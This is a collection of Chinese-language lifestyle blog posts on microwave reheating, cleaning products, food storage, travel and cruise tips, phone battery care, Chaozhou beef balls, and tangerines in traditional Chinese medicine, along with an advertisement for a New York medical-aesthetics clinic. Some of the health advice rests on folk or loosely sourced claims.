用微波炉加热汤品非常方便,一碗汤大约需要加热3分钟左右,建议每次加热60秒,就用汤匙搅拌一下,以免加热不均匀。
蔬菜
美国农业部表示,煮过的蔬菜在冷藏下可以放3到4天,冷冻可以放3到4个月。重新加热蔬菜时,时间和温度必须足够,可以用食物温度计测试,温度必须达到165°F才可以。


因为蔬菜通常水分含量很高,所以用微波炉直接烹调蔬菜,这也是一个好主意。
一项发表在《食品科学杂志》上的研究,用不同方式烹煮了20种不同的蔬菜后,发现微波和烘烤最能完整保留蔬菜中的营养。不过,在微波时请记得使用玻璃、陶瓷或者其他适合微波的容器。另外,像是葡萄和生红萝卜,应避免使用微波炉加热,因为这两种食材在微波炉中容易引发火花。


意大利面
用微波炉加热意大利面时,为了确保面条不会太硬,可以先在面上,淋一汤匙的橄榄油或植物油,高功率下约加热30秒,低功率下则加热1分钟左右。
储存意大利面时,可以将面与酱汁分开存放,加热时也分开加热。如果你要加热的意大利面已覆盖酱汁,那就要记得盖上盖子,以免加热时,酱汁喷出弄脏了微波炉。



重新把蛋加热十分简单,确保其温度够热,约到165°F即可。有趣的是,你也可以试着用微波炉煮蛋,这种做法非常方便,取一个可以加热的容器,将蛋打入,并加上你喜欢的调味料,例如胡椒、意大利香料、大蒜粉或洋葱粉,最后加一点盐,简单加热后就是一道美味的蛋料理。
另外,要特别注意的是,微波炉不能加热包着蛋壳的鸡蛋,像是生鸡蛋或者是茶叶蛋。这是因为蛋壳中的含水量较少,而蛋白和蛋黄的含水量较多,微波炉加热产生蒸气之后,鸡蛋容易爆炸。


肉类
美国农业部表示,不论是什么肉类,如果是已煮熟,放在冰箱内冷藏可保存3~4天。重新加热时,必须加热到内部温度为165°F。
由于微波炉是局部加热,会有所谓的“冷点”。因此重新加热时,需要帮食物翻面,并且要多量几个位置,确定核心温度够高。加热完毕以后,要静置三分钟,让高温杀死可能造成食物中毒的病原菌。此外,微波完的肉类,要在2小时内享用完毕。


白饭
用微波炉加热白饭也容易有干硬的问题,要记得先在饭中加1汤匙的水,再用沾湿的纸巾或盖子盖住碗,避免水分流失。第一次加热可以先设定1分30秒,如果不够热,再分次加热,每次加热30秒。


烘焙食品与面包
甜点或面包出炉当天,当然是最新鲜好吃的。但有时候我们短时间没办法吃完,就会需要重新加热。需要加热的蛋糕,依照大小,加热时间也不同,建议可以用40秒分次加热。而且面包微波前要记得喷水,加热后必须尽快食用,不然很快会变得干硬。

2020-01-09 / by / in
【生活攻略】洗洁精最佳使用方法

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许多人都有在洗碗精、洗手液或沐浴乳里加水稀释使用的经历,这样做正确吗?
你可能遇到过下面两个情况:


情况一:洗碗精、洗手液或沐浴乳太浓了,一开封就加自来水稀释使用,浓度刚好,而且一瓶变成两瓶,比较省钱。
情况二:洗碗精、洗手液或沐浴乳快用完了,倒不出来,直接丢弃又浪费。倒入自来水稀释,彻底用完。


同样都是加水稀释,但“情况一”是错误作法,“情况二”则正确,但有注意事项。
洗碗精、沐浴乳的正确加水稀释方法
京砚联合诊所皮肤科院长蔡逸姗在脸书撰文指出,自来水并非完全无菌,加到洗碗精(或洗手液、沐浴乳)瓶子里,可能增加细菌或其它微生物的量。


不仅如此,若向整瓶产品中大量加水,还会让产品本身添加的防腐剂浓度被稀释,使防腐效果下降,微生物大量滋生,造成产品容易腐坏变质。
曾有患者询问,如果觉得清洁产品太浓,能不能倒入另一个小瓶中,再稀释使用。蔡逸姗认为这种作法可以,但强调要倒出一次使用的份量,并当次用完,以免滋生细菌。


如果产品快用完了,瓶底剩一点点,这时就可以直接加水到瓶中稀释,把剩余的产品彻底用完。蔡逸姗建议,最好使用煮过的开水,放冷后倒入瓶中稀释,并在3天内用完。


这些生活中常用的清洁品几乎都含有“界面活性剂”,有些民众误以为这种成分能抑制细菌生长。蔡院长解释,界面活性剂并没有抑菌的功能,防腐剂才有。界面活性剂是让两个不同性质、原本不相容的接触面,变成不再排斥而靠近。因此产品里面有界面活性剂,不代表微生物无法生长。


填装补充包的小危机
现在市面上贩卖许多清洁产品的补充包,如沐浴乳、洗发精、洗手液等等,让购买的民众可以重复使用瓶罐,只需填入新的液体。但这过程中,也容易衍生滋生细菌的问题。


如果原有的瓶罐内部是潮湿状态或有残留产品,都不宜直接倒入补充包。
蔡院长表示,如果还有剩余的产品,最好先使用完再倒入补充包。因为剩余的有效期限一定比新倒入的短。
瓶内若是潮湿状态,比如有自来水在里面,“建议先风干再装”。她解释,这跟制作果酱装瓶很类似,装果酱的玻璃瓶都要用热水煮过消毒,等水汽散掉再装果酱,如果瓶内有水分,果酱很容易腐败。但居家清洁用品大部分是塑胶瓶,不能直接用热水煮沸,因此可倒入煮过的水,稍微摇晃清洁后再晾干,或是喷消毒酒精。确保瓶内干净、干燥,再倒入新产品。

2020-01-09 / by / in
出行攻略:国际机票哪买最便宜?

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日前公布的最新报告显示,今年国际机票最划算价格,主要出现在达美航空、联合航空、美国航空等三大美航公司。「史考特廉价机票」网站共同拥有人凯斯表示,达美、联航与美国航空飞往美国以外地区的航班最多,因此海外航班机票价格下降的可能性也最大。


报告根据过去12个月该网站寄给会员的便宜机票内容,分析49个州以及华盛顿特区、波多黎各等超过150个机场的票价情况。其中包括近90家不同航空公司,但不包括一些特定航空业者,如Spirit、Frontier等美国国内廉航。


根据报告,加拿大航空从美国出发的廉价航班排名第四。加上联航、达美、美国航空,四家航空业者占据「史考特廉价机票」网站今年向会员寄出便宜机票总数的56.1%。


其他便宜机票还有来自包括捷蓝航空、阿拉斯加航空等美国航空业者,以及如荷兰皇家航空、法国航空、英国航空与新加坡航空等国际航空公司。


报告也发现,预定从航空公司枢纽机场出发的航班,不一定保证最低价格;事实上,情况刚好相反。旅客若在靠近航空公司枢纽地点,应该查看其竞争对手的航班,以寻求最佳票价。事实证明,从亚特兰大出发,在美国航空可以拿到更低的票价。
从加州出发的旅客,似乎比较幸运,去年从金州出发的共有4844笔优惠票价,也是全美优惠机票会多的州。


从加州飞往海外的最佳机票价格,似乎多来自联航。佛罗里达旅客则拿到全美第二多优惠机票价格。纽约通常被视为通往欧洲的门户,获得2941笔廉价机票,其中大部分是联航。

 

2020-01-09 / by / in
延长手机电池寿命有绝招│这样做可延长手机寿命

 

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现代人可以说每天都离不开手机,充电也成了每日的例行工作。因此许多人担心,一直充电会缩短手机电池寿命。不过大多数人都错了!常常充电并不会让电池寿命缩短,真正造成电池寿命缩短的原因是“用到没电”才充,还有就是在手机过热的情况下,边充电边使用。


对于如何延长手机寿命,许多人都存有迷思,坊间也有众多说法,那么究竟怎样才是正确的充电方式呢?首先我们要了解,现在手机大多都已经采用锂电池,而锂电池的寿命是以周期计算的,当电力从0充到100%,再由100%耗尽到0时,就算是一次循环;假如是从90%充到100%,则只算1/10次,因此并不像一般人所说,充越多次越容易坏。


以iPhone为例来说明,当锂电池在循环500次的使用以后,效能就会开始逐渐下降,电池也会跟着老化。因此为了不要太快消耗1个充电周期,最好1天可以分多次充电,尽量让电量维持在40%到80%,这样比较能够延长电池寿命。


因为对一般人而言,手机充到90%左右就已经非常够用,不需要充到100%。最需要注意的是,尽量不要让电力耗到20%以下,甚至快接近0%才充电,否则是非常伤害电池的行为。


此外,许多人有边充电、边用手机的习惯,此种行为对电池本身并不会有伤害,但就怕电池本身过热,因为边充电边使用时,容易使手机发烫,这样多少会影响到电池的效能,因此假如发现手机过热时,最好暂时停止使用。而也有许多因为边充电边使用手机造成伤害的案例,因此为了安全考量,一定不要边使用边充电。


至于有人担心手机充电一整晚,容易使电池受损。其实以现在的技术来说,手机都有内建芯片,当电池充饱电后,就会自动切换,后续的电力并不会持续充进电池里,所以也不用过度担心。

如果可以的话,最好每天或每周就把手机重开机一次,这样不但可以让手机修复、重整,也能帮助延长手机寿命。

2020-01-08 / by / in
不同食物保鲜方法大公开│家庭主妇须知│保持食材最全方法

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食材买回家后,全部塞进冰箱就万无一失吗?其实并不是。今天就介绍下正确保存方法。
蔬果保存方法:叶菜、瓜果、根茎类各不同


菇类
菇类买回家后,不要碰水直接用纸袋包装,并放在冰箱冷藏保存,这样能够减少菇类孳生细菌。鸿喜菇可直接将根部切除后装入盒中,再放入蔬菜室保存。
叶菜类
叶菜类,买回来后,先摊开阴干半小时,让叶片不要有湿气,坏掉的叶子要先摘除。在冷藏之前先将水分拍干,并用餐巾纸包住蔬菜根部后再装入干燥塑胶袋中,放置于冰箱的蔬果保鲜室。一般叶菜可保存4~5天。


根茎类
(1) 马铃薯、地瓜:包覆纸巾保持干燥,放置室内阴凉黑暗处。
(2) 红、白萝卜:先将长出叶子的蒂头彻底切除干净,然后用保鲜膜妥善包覆整条萝卜,并放入夹链袋中,尽量将空气挤出,再放入冰箱保鲜室。
(4) 玉米:玉米在室温下容易因潮湿而产生黄曲毒素,买回来后应尽快冷藏。
其他
(1) 芦笋:尖端朝上直立放置,底部用沾湿的纸巾和塑胶袋包装。
(2) 青椒:不能沾到水,但是也不需要密封,只要将青椒放入一般塑胶袋中再放入冰箱即可。
(2) 葱:去除变黄老化部分、保留根部,用纸巾包好放入塑胶袋冷藏4~5天,或是洗净后滤干水分,再将葱切成葱绿、葱中段、葱白,分别放入保鲜盒冷藏,可保存一星期。


肉类保存方法:小细节延长肉品保鲜度
肉类食材若是两、三天内可煮食完毕,就不需要放置冷冻,一般放在冰箱生鲜冷藏室约5度到零度(ºC)之间保存即可。如果去大卖场买的肉类份量比较多时,就一定得要分装冷冻,我们先将大块肉品切成一餐适量大小,绞肉也是一样,依每次煮食的份量,用保鲜膜仔细包覆,并用夹链袋一包一包装好,放入冷冻库之前要记得稍微挤压,尽量让袋子里没有空气,再平放在冷冻室,这样就能延长肉品的鲜度。


一般家用冰箱冷冻温度大约在 -12℃~-19℃ 之间循环,虽然可以使大部分的微生物停止活动,但并不能完全杀死微生物,因此肉类冷冻时也是有可能会腐坏。因此,若已确定买回来后会如何烹调, 可以预先处理再加以冷冻。一来可延长保存期限,二则因为生肉中的水分已经在烹煮的过程中释出,比较不会因为冷冻使水分结成冰晶而破坏肉质口感。或者将肉类经过烫煮或腌制调味再分装放入冷冻,也可以延长保鲜期限。


海鲜保存方法:密封袋是保存小帮手
1. 鱼
清理掉内脏、鳞片,并用旧牙刷将鱼肚内脏污刷洗洗净,用厨房纸巾吸干水分,再用塑胶袋密封装好,可冷藏2∼3天。若几天内不煮食,就要放置冷冻库才能保鲜。
2. 鲜虾
先在一盆清水中放冰块,将虾子放入后,先洗净鲜虾,并用剪刀剪掉头须、脚,再用牙签或竹签挑起肠泥,以不重叠的方式和冰块一起放入密封袋中冷冻,保鲜度较好,约可保存2~3周。
3. 花枝、软丝、乌贼、小卷
先清除内脏,再用清水将身体清洗过后沥干水分,可切成片或整只放入密封袋中冷冻,可保存2~3周。
4. 蛤蜊
先用容器装水放少许的盐让蛤蜊吐沙,沥干后放入塑胶袋中冷藏。

2020-01-08 / by / in , ,
整容能改运吗?如何养颜驻容?抗衰老专家解开你的迷思!

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丽致医美抗衰老中心 IKARE MEDICAL BEAUTY CLINIC


地址:38-21 Main Street, Flushing, NY 11354 (法拉盛快捷急诊中心内, TD Bank楼上)

电话: (917)790-9989


丽致医美抗衰老中心位于纽约法拉盛飞越皇后大厦,快捷诊疗中心内,由台湾首席医美抗衰老大师黄佩杰医学博士与廖唯恩医师领衔的顾问团队进驻指导,严选最先进安全的医美仪器,将台湾的医美专业带给纽约向往自然美的族群们。



黄佩杰医师 在中港台三地有超过20年医美实务经验,
拥有妇产科医师执照,微整形抗衰老证照,
黄医师擅长玻尿酸,微晶雕塑鼻型,下巴,丰唇,丰臀放置,肉毒杆菌,4D脸拉提,脉冲光电波拉皮,雷射等专业医美疗程。



廖唯恩医师有超过10年的医美经验, 是法拉盛的皮秒女王, 拥有外科医生执照,
微整形抗衰好证照, Picoway皮秒雷射认证医师、Ulthera音波拉皮认证医师,
PRP体干细胞认证指定医师,Sculptra,Ellans,肉毒杆菌认证医师。廖医师擅长全脸雕塑(梅斯·雷迪斯Metz
Radiesse),鼻部塑型,下巴微雕,玻尿酸全脸注射(去泪沟,法令纹,丰唇,丰胸趾),肉毒杆菌,4D脸拉提,极限音波拉皮及各式雷射祛斑等专业医美疗程。

丽致医美抗衰老中心提供超影像皮秒机、酷塑冷冻溶脂、音波拉皮、电波拉皮、消脂针、点滴美容、美学微整、线雕拉提、干细胞抗衰老、各种小针美容、坡尿酸、肉毒杆菌等服务。

 

2020-01-06 / by / in , ,
2020旅游新招│出国旅行这些钱绝对不能省│出门旅游必读

出门旅游需要注意的问题,旅游怎么省钱,旅游怎么省钱玩的好,旅游,攻略,省钱,出行,选机位,景点门票,旅游保险,出行交通工具。


旅行是一种生活方式,开阔视野,增长见识,丰富人生体验。在腰包不足的时候,“省钱”的出游方式当然是需要考虑的,但俗话说“穷家富路”,有时出门在外千万别“省错钱”,反而造成一些不必要的麻烦,破坏了旅行的美好体验。玩得愉快最重要,花一些必要的小钱,可以提升旅行品质,何乐而不为呢?


1.避免疲累的早班飞机和夜班车
大家有过这样的经验吗?订了早班飞机的你,为自己省下费用而感到开心。但等到出发之前才发现,为了赶上班机,必须比平常的上班时间早3、4个小时起床,造成我们出发旅行的第一天睡眠严重不足。有时早班飞机的出发时间,甚至早于大众运输开始的时间,最后只好包车或者在机场附近住宿,开销更大,得不偿失!
更不要为了省住宿费用而搭乘夜班车,增加的旅行的安全风险,也会加重旅途的疲惫感。


2.预订机场附近的租车公司
当好不容易熬过一场长途飞行,下了飞机通过海关之后,最好就是在机场附近就能找到租车公司,并直接开着租车抵达目的地。有些位置偏远的租车公司,价格较为低廉,但想要“省钱”的结果,就是必须拖着行李,搭车到遥远的地方,这样不仅很累。而且客户较少的租车公司,有时接驳车的班次也会比较少,造成旅客刚下飞机又要等车,这种做法太过劳累又容易让人烦躁。


3.租车时需考虑马力和空间
小型车的租金一定比大型车低廉,但我们得先想清楚,旅途中有没有山路,这些山路的路况如何?你想要租的小型车马力是否足够开上这些路段?
除了车子的马力外,你也要考虑车内空间,就算是只有两个人的旅行,行李也需要足够的空间置放。建议你在选择车款时保守一些,以免人在异乡的我们,真的发生在山路上进退两难的困境。


4.不要住多人共用的房间
你可能会这样想,一间多人共用的房间能有多糟呢?毕竟,旅馆只是回去睡觉的地方,能省则省!但请试想一下,你的室友中只要有一个人会打呼,或者要赶凌晨的早班飞机,就可能破坏了你的睡眠品质,导致你在隔日行程中体力不支。真的不是每个人都能适应青旅的嘈杂。
订购个人房,可以确保你在旅途中精神饱满,能造访更多想去的景点和商家。或者,在适当的距离内,体力充沛的你才能行走更长的距离,省去一些搭车的费用。


5.多花点钱选机位
在花了不少钱购买机票之后,许多人都不会想再另外花钱“选位置”。如果你的航程较短,这么做倒也没有关系,但如果你是准备踏上一场“长途飞行”,那么事先选好位置就非常重要。毕竟,飞机上总会有些“地雷”位置,比如无法斜躺的椅子、靠近厕所的座位等,事先选位能让你免于这些困扰,别等到被上厕所的乘客吵到无法入睡时,才开始后悔。


6.别选择太慢的交通工具
在规划旅途时我们可能认为,搭乘较慢的轮渡、公车或火车既可以省钱,又有悠游异国的浪漫情调。在想像中,我们能用一种缓慢、轻松的心情浏览途中的风景。这听起来像是一种节省旅费的好方法,直到我们被困在极其缓慢的交通工具上,因为长时间拘束在座位上感到身心疲惫,才发现,事实不如想像中美好。
尤其当旅程需要转乘、换线时,慢车有更高的概率误点,一旦错过转乘的班车,整个行程势必大受影响。一位网友分享经验,为了省钱她曾从德国的曼海姆(Mannheim)全程搭慢车到波昂(Bonn),但因为慢车误点,最后3个多小时车程花了将近6个小时才抵达,成为旅途中的惨痛经验。


7.有些景点门票不能省
不少为了省钱的观光客,都认为只要在外面拍照、上传Facebook,代表到此一游即可。其实许多的观光景点虽门票不菲,却是代表当地历史、文化精华的场所。与其进行“拍照式”的旅游,记录许多自己到过的景点,倒不如挑些真正感兴趣的地方,玩个尽兴又彻底!
如果可以的话,更应该先提前预购门票,这些著名的景点,有时还会提供预购折扣。另外,如果您想体验的是国际级的景点,像:意大利罗马竞技场、德国新天鹅堡、法国罗浮宫等,提前购买快速通关的票卷,还可省下大把时间。毕竟出门在外,时间就是金钱!


8.购买旅行保险
外面的世界很精彩,但也充满变数。出发前给自己买一份旅行保险,可以给自己买一份心安,也是对家人负责的表现。


9. 不能省下食物的钱
在不同景点穿梭之中,免疫力也容易下降。身体健康第一,还是要吃的营养才能走长远的路。如果不幸在异国他乡病倒了,那才是真的得不偿失。

2020-01-06 / by / in
华人回国过年 坐长途飞机要注意这些问题

坐长途飞机的注意事项,坐飞机需要注意的问题,如何避免在飞机上出现身体不适,坐长途飞机引发的疾病,坐飞机应注意的健康问题。


过完西方的圣诞节,很快又要迎来中国的新年。很多华人会趁中国新年期间回国探亲,当然也就免不了要坐长途飞机。特别是坐经济舱的朋友们要小心了。

最近,仅在上海,10天内就接诊4名因坐飞机差点昏迷、偏瘫的外籍游客,其中一名44岁美籍游客的症状最严重——因为长途飞行,这名乘客当场昏倒在地。重症监护室的主治医师表示,这些乘客基本上都患上了肺栓塞。还有一名23岁的女乘客,直接在机场就脑梗了。

长途飞行会导致这么多疾病发生吗?上网搜索一下就会发现有很多类似病例,都是因为乘坐长途飞机引起的。

之前曾有过报道,一位从悉尼飞往温哥华机场的女乘客,也是因为长途飞行导致严重脑损伤,该乘客突发静脉血栓,头部动手术缝了50针,并留下了永久性的疤痕。

该乘客之后接受采访时表示,她下飞机后,就开始头晕、犯恶心,一开始以为只是太累了,后来才知道后果竟然这么严重。

而相似的案例,每年都在发生。根据医生的解释,乘客由于长时间在飞机上保持坐姿,可能会导致深静脉血栓,而如果出现头晕、恶心等症状后不及时就医,就可能导致病情恶化。严重者,血栓爆裂导致脑瘀血,不得不进行开颅手术,而查看脑血栓的诱发原因,其中10%都来自飞机上长途飞行。

2020-01-06 / by / in , ,
【饮食文化】有一种美食,不分平民与贵族(首发原创)

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有一种美食,不分平民与贵族

(作者:草长莺飞)

 

巍巍华夏,泱泱大国,5千年的文化,8大菜系,56个民族,说不尽的美食故事,讲不完的美味佳肴。只要一提到饮食文化,来到海外的华人都有一种掩饰不住的自豪之情,谁都知道中华饮食文化博大精深、源远流长,是没有哪一个国家能媲美的。

 

中华美食影响深远,在世界各国的中菜馆,多数是以粤菜为主,并与享誉国际的法国美食齐名,以致很多海外人士都以为粤菜就是中华美食的代表菜系。

 

手工牛肉丸

 

而我们今天要聊的话题就是与粤菜有关的潮菜,潮菜在传统饮食文化上虽说别具一格,但有些人可能没听说过。从另一个层面上解读,潮州菜系是我们华夏传统饮食文化的重要组成部分,最早可追溯到汉,及至盛唐过后,潮菜经过历史的沉淀,做为潮菜的代表之一,牛肉丸已经演变为独具文化特色、驰名海内外的中华名菜之一。

 

“牛肉丸”作为整个潮州乃至整个潮汕地区最知名、最大众化的小吃,老小皆宜,如果不是因为价格不菲,相信很多人都愿意一日三餐食用之。“牛肉丸”在潮州已有近百年历史,既可作为点心小食,流行于街头巷尾,又可作为一道名菜被摆上筵席。

牛肉丸 食譜

美食

潮州手锤“牛肉丸”,看似普通,实则堪称粤菜一绝。它在选材上,也绝非一般牛肉就能入选,一定要用新鲜的牛腿肉,去除筋后切成块,用两根特制的铁棒,每根约3斤重,双手左右开弓,用力轮流捶打,一直到牛肉打成肉泥。然后依据各自配方,加入蒜泥、盐、鱼露、味精等,继续捶打。一直捶打到肉泥粘手不掉下为止,握拳头从大拇指和食指成环状中挤出丸,再用羹匙把丸子掏下来,放到80度的用牛骨头或牛肉熬制的汤盆里定型,用文火煮约8分钟后捞起牛肉丸,放凉后装好放到冰箱冷冻。

 

潮州手打牛肉丸最大的特点,就是入口弹牙,久煮不烂,弹性十足。煮食牛肉丸时,如果是在外面小吃店吃,一般店家用原汤和牛肉丸下锅煮至初沸,加入适量味精、芝麻油、胡椒粉加几片菜叶或放些紫菜,吃的时候再配上当地特色沙茶酱,那简直是美味至极,回味无穷。

潮州小食-牛肉丸

 当牛肉丸,遇见了沙茶酱,便成了绝配!

 

潮州牛肉丸作为潮汕饮食文化上最具代表的拳头食品,传承了潮菜的精髓,并以独特的制作方法和独一无二的口感,诠释了潮州民众对饮食文化的精益求精。窥豹一斑足见全貌,从潮州牛肉丸的做工上,足见潮州人对日常饮食的工夫非常了得,就像潮州工夫茶一样让人啧啧称赞不已!

潮州工夫茶

 

潮州牛肉丸实则是分为净牛肉丸和牛筋丸两种的。净牛肉丸口感爽脆,具有浓郁的牛肉味,特别好吃。但我更偏爱牛筋丸,因为特别有嚼头,满满一口咬下去,鲜香浓郁,香到喉里,流到胃里再荡漾开来,感觉所有的汗毛孔都在为这味道而敞开,这种感觉让人难忘,全身的细胞都在欢呼!

 

潮州牛肉丸的另一种最常用的吃法,也是牛肉丸的另一种做法,就是与潮州的果条,结合在一起,又演绎出另一种无与伦比的美食传奇,一直深受当地人与游客的喜爱,更是宵夜必点的小吃之一,它的知名度,也一直是居高不下。这种潮州的果条,是用米浆做成的,与珠三角一带的河粉,是两个不同的品种,口感完全不同,但乍看上去,貌似“姐妹”。

 

在潮州,或潮汕一带,不管红事,白事,凡是大宴会,不管是以前的,还是将来的,永远不会缺席的,试问天下食货,除了“牛肉丸”,还有哪道菜能享有此“殊荣”?

 

如果有一种美食,既出得了平民百姓的巷尾街头,又进得了贵族的盛宴之堂,应“潮州牛肉丸”莫属了!

潮菜美食

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来源:金牌资讯    注明作者、出处並保持完整
2020-01-06 / by / in
邮轮旅游全攻略│邮轮乘坐须知│晕船怎么办│坐船须知

邮轮旅行中常见问题,晕船,晕船药,邮轮如何选择,邮轮舱房选择,邮轮买票,邮轮乘坐须知,称作邮轮的注意事项,为什么很多人喜欢坐邮轮


晕船怎么办?
很多人在坐邮轮出发前常会问一个问题:“坐邮轮会不会晕船?
其实,关于这个问题主要还是因人而异的。因为现在的邮轮无论多少吨位,几乎都会配有像鱼鳍般的平衡装置,这样大大降低了邮轮在航行过程中产生的晃动感。而且邮轮舱内合理的空间设计,也会让我们更加地舒适,降低晕船的程度。


方法1:服用晕船药
如果是真害怕晕船的游客,可在邮轮开始前服用晕船药,但要注意按正规医院的医生的医嘱来服用。
方法2:呼吸新鲜空气
到甲板上去吹风,呼吸新鲜空气是晕船时最有效的舒缓方式之一。若是有恶心想吐的感觉时,则可喝点柳橙汁或柠檬汁,来减轻不适感,这里也要注意不要吃太多的东西。
方法3:选对船舱


一般来说外仓或带阳台的船仓,舱位越高票价越贵,但大风浪来的时候不太适合爱晕船的人。底层内仓不但票价便宜,而且在大浪中摇晃很小。邮轮在风浪中是以船的中轴线和海平面为轴线晃动。下层内仓最接近这两个轴线,所以摇晃幅度最小。不容易晕船。
方法4:适当活动
轻微运动也可以防晕船,如打乒乓 游泳。因为运动中对晃动的感觉小些,小风浪是可以抗过去的。在16 英尺(5 M)高的大风浪时,在室内游泳池中呆上5-10分钟后也可以稍作缓解。


怎么选择邮轮?
选择邮轮时,最重要的考虑因素就是“邮轮吨位、硬软件设施、服务、线路、价格”了,像是吨位大的邮轮,设施上也更齐全,我们可参与活动的空间也会宽松些。
怎么选择舱房?
船舱主要分为内舱(inside)、海景舱(Ocean view)、阳台舱(Balcony/Veranda)、套房(Suites),价格上会一定的差异。
如果说除了睡觉很少呆在房间里的话,可以考虑选择内舱房,相对于海景舱来说,价格上也更经济。


在邮轮上,即使是不占床的婴儿也需要计人头,因为船上的房间数与救生舱可以承载的总人数是成正比的,双人房只能入住两个人,多了一个婴儿就需要入住三四人房或家庭房。
通常这类房型一般会有沙发 、下拉床、上下铺等形式容纳第三、四人。一般三人房/家庭房常会有同行第三、第四人的优惠,会比订两间双人房更划算一些。


如果出游的预算允许,套房会是一家出游的最佳选择。套房除了更豪华、面积更大之外,还会有一些特权待遇,会使我们的旅途更加地轻松与愉悦。

连通房是指2-3间相邻的房间,内有连通门可以打开。比如说,有的连通房是由标准套房、阳台房及一间单人内舱房组成,内含三间卧室、三间浴室、一个连通阳台,即有私人空间,又能三代同堂;三种房型被玄关连通,5人起订,至多能容纳10人。
买票
坐邮轮选对时间最重要。美国东海岸和中国都是位于大洋的西岸,每年7-11月是台风季节。当然台风季的邮轮票是比较便宜,有的邮轮仗着船大,在台风来临时只要出发港不是台风登陆地点就照样出发,他们只是设法改变航线,在海上避开台风中心,但也会受到台风影响,而且风浪大,更容易晕船。由于船要临时改变航线,该停的港停不上。吃不下,睡不着,玩不成也是很遭罪的。但是像大洋的东岸, 如美国的加州,阿拉斯加和欧洲没有台风,这个就不必担心。
每年春天和深秋是邮轮淡季,或感恩节,圣诞节之间的空档,票价便宜。比如,阿拉斯加的5月,9月是邮轮淡季,票价便宜,而且能看到自然美景。
乘邮轮上岸游怎么玩
有时邮轮票不贵,但邮轮公司要赚钱就把上岸游团费定得非常贵。可以提前做一个旅游攻略,参考下相关书籍手册, 来个自由行就很省钱了。
人多的话,租车环岛游是很方便的。一般在港口等邮轮的出租车不打表,需要讲好价钱。包车省钱,还能多跑了几个点。
如果要上的岸路线长,费时多,就不能光追求便宜,耽误了上船时间就不划算了。参加邮轮办的团再晚也不要紧,反正邮轮一定会等他们回来。 每次到港的前一晚,船上会给每个仓发一张港口附近简图。除了标明码头的位置,旅游点和商店,还给出该邮轮公司在这个港口办事处的地址和电话。记得下船时随身带好这张纸。 如果误船了,赶紧找邮轮公司的办事处。他们会和邮轮联系采取补救措施。比如说,保管好你的行李,保证你将来能取回行李和个人物品。 帮你改乘下班船,或者买机票飞到下个到达港追上你的船等等

2020-01-03 / by / in
【出行攻略】机场安检须知│搭飞机需要注意什么│登机指南

机场安检,托运行李,在机场容易遇到的问题,在手提行李中放饮水杯或保温杯,将洗手液和消毒纸巾打包,充电宝 旅行 机场,机场随身必备物品,机场安检须知


随着安检严格,以及越来越多人旅游,乘客一般会选择尽早赶到机场,有时候在机场呆的时间会很长。在闹哄哄的机场等候,很容易产生不耐烦和焦虑情绪。


以下这5个贴士可以帮助乘客做好准备,缓解在机场和旅途的烦恼。

1、将洗手液和消毒纸巾打包

在旅途中,你的手经常会碰触到很多物体,而机场和飞机上处处是细菌;自备消毒物品,可令自己保持健康。

需注意洗手液要符合美国政府规定随身携带液体数量。


2、在手提行李中放饮水杯或保温杯

自带饮水用具可避免在机场花高价购买瓶装水,并保持卫生。

一旦通过安检,你可以用自己的杯子或瓶子从机场饮水机接水;喜欢喝热水的华人,还可以去机场咖啡店,向服务人员要点热水,不过最好顺便买杯咖啡,以示礼貌。


3、随身携带一个接线板

如果你和一群朋友一起搭机,或自己带了数个电子设备,在机场使用接线板,可以同时给多个设备充电。

你的朋友会因这个贴心的举措而感谢你。


4、带一件外衣或围巾

机场和飞机上有时候气温较低,特别是不经常走动时,更容易感到冷。带上外套或大围巾是明智选择。

在飞机上睡觉的时候,外套也可派上用场。厚外套还可以当枕头用。

盛夏时节搭机,往往穿的少,但飞机上的冷气一般很充足,一件外套或大围巾可以保暖。

此外,飞机上提供的毯子一般很难保证清洁。


5、不要忘了带便携式充电器

手机电池耗尽很快,一个便携式充电器可以在旅途中帮大忙。需确保离家前,把便携式充电器充满电。


其它

机场人潮是让人有压力的主要原因,可以规划旅程避免大排长龙。机场在一大早以及傍晚时最为忙碌,因为那时很多商务旅客要旅行;周末则是休闲旅游的尖峰时段。旅游的最佳时段通常在非周末日子的午餐时间到下午三点左右。

此外,随身行李和托运行李要符合航空公司规定的重量以及尺寸,提前为安检作好准备。离家前先将零钱、金属物品以及皮带等打包在手提行李内,可以减少安检时的麻烦。

 

2020-01-03 / by / in
橘子的强大功效│如何挑选橘子│橘子的保存方法│什么人不适合吃橘子?

柑橘的作用,柑橘精油的好处,橘皮 陈皮作用,橘络,橘肉,如何挑选橘子,橘子的保存方法,什么人不适合吃橘子?


对于中医来说,橘子全身都可作为药用。

橘皮:橘皮可健脾、燥湿化痰,制成陈皮效果更强。陈皮可理气健胃,有胀气时可食用。
将橘子皮用干锅或烤箱烘干后,就成了简易版的“陈皮”,可作为香料加进卤味或炖牛肉,能提升香气、解油腻。橘皮提炼出的橘子精油可提振精神,用于平复沮丧与焦虑。有研究指出,橘子精油的芳香疗法可有效降低妇女在分娩期间的焦虑。橘子皮还能制成天然的柑橘清洁剂,不仅没有刺鼻味道,也不用担心化学清洁剂伤害皮肤及残留于环境的问题。


橘络:中医讲“以形补形”,橘络是一丝一丝的,如同马路般分散开来,因此对人体经络有益,可理气、通畅经络。因受伤、或是上班久坐加上心情烦闷,使气淤住造成紧绷,身体侧边肋骨处出现气塞住的疼痛,此时可吃橘络再搭配其它中药治疗。


橘肉:橘肉较少入药,但有生津止渴化痰的作用,喉咙干时可吃橘肉滋润。橘肉还可促进消化,大鱼大肉过后,不妨来一颗橘子。

橘核:在中医看来,种籽有能量,对身体很好,因此吃橘子时,橘核一同吃下去也无妨。
中医师强调,橘皮、橘核、橘络都要经特殊处理才有药用效果,平常吃只能作为保养,如果生病还是要看医生治疗。


橘子原来全身都是宝,但这三类人要少吃
现代医学研究发现,橘子含有大量抗氧化物,如类黄酮、类胡萝卜素、维生素C、叶酸、膳食纤维与果胶等等,能抗发炎、提升免疫力、减轻自由基对身体的伤害,有助于预防癌症、心血管疾病。美国癌症学会认定的30种抗癌蔬果中,橘子就是其中之一。

橘子性寒、味甜 三类人要少吃:寒性感冒、寒性体质、糖尿病者。
在中医观点里,感冒分为寒、热、燥等多种类型,橘子属寒性水果,风寒型感冒吃了会加重病情。风热型感冒则多吃无妨。


◎风寒、风热类型的感冒特征
风热型感冒:鼻涕、痰等分泌物都偏黄且浓稠,可能伴随发烧、喉咙痛。
风寒型感冒:畏寒、白痰、鼻涕如清水状,喉咙不痛。


◎寒性、热性体质的特征
热性体质:口臭、口干舌燥、早上睡醒有眼屎、容易便秘。
寒性体质:容易拉肚子、畏寒。
